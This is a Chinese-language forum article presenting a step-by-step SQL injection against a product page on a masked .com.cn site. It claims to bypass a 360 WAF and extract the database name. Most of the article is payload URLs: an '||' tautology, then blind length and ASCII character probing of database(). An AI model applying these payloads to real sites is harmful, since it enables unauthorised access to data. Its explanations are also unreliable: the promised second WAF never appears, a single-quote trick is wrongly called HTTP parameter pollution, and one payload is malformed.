SQL注入绕过双重WAF防护的策略分析

导言:

在网络安全领域,SQL注入一直是攻击者经常利用的手段之一。随着先进的Web应用防火墙(WAF)的普及,SQL注入攻击变得更加困难。本文将深入研究一种SQL注入绕过双WAF的策略,并结合HPP漏洞进行实际攻击。以下是详细的攻击步骤。

图片[1]-SQL注入绕过双重WAF防护的策略分析-山海云端论坛

攻击场景:

假设目标网站为http://www.xxx.com.cn,其中的productshow.php页面存在SQL注入漏洞。正常请求如下:

<code>http://www.xxx.com.cn/productshow.php?id=79</code>
图片[2]-SQL注入绕过双重WAF防护的策略分析-山海云端论坛

然而,该请求被360WAF拦截,我们需要找到绕过WAF的方法。

绕过360WAF:

通过HPP漏洞(HTTP参数污染)可以在正常页面的参数后添加单引号'进行隔断绕过,如下:

<code>http://www.xxx.com.cn/productshow.php?id=79'</code>
图片[3]-SQL注入绕过双重WAF防护的策略分析-山海云端论坛

关键字等价绕过是使用||进行连接时,不需要进行闭合。构造绕过payload如下:

<code>http://www.xxx.com.cn/productshow.php?id=79%20||%201=1</code>

进一步构造payload,判断数据库名长度:

<code>http://www.xxx.com.cn/productshow.php?id=-79%20||%20length(database())>1</code>

如果数据库名长度大于1,尝试减小长度,直至找到正确的长度:

<code>http://www.xxx.com.cn/productshow.php?id=-79%20||%20length(database())=6</code>

更进一步,使用ascii进行爆库,判断数据库名第一位字符的ascii码:

<code>http://www.xxx.com.cn/productshow.php?id=-79%20||%20and%20(ascii(substr(database(),1,1))%20=109)</code>

不断尝试减小长度,直至找到正确的字符:

<code>http://www.xxx.com.cn/productshow.php?id=-79%20||%20(ascii(substr(database(),1,1))=109)</code>

这里猜测是and导致WAF拦截,尝试去掉and

<code>http://www.xxx.com.cn/productshow.php?id=-79%20||%20(ascii(substr(database(),1,1))=108)</code>

通过不断测试,确认第一个字符是m

剩下的步骤不再赘述,关键字等价绕过ascii判断,去掉and继续尝试。

结论:

本文详细介绍了SQL注入攻击绕过双WAF的过程,利用HPP漏洞进行参数污染,通过关键字等价绕过和ascii码判断,成功绕过WAF的防护。在渗透测试中,理解和应用这些绕过技术对于发现和利用SQL注入漏洞至关重要。深入理解这些攻击原理,有助于加强网络安全并提高应用程序的防御水平。

© 版权声明
THE END
喜欢就支持一下吧
点赞8 分享
评论 抢沙发

请登录后发表评论

    暂无评论内容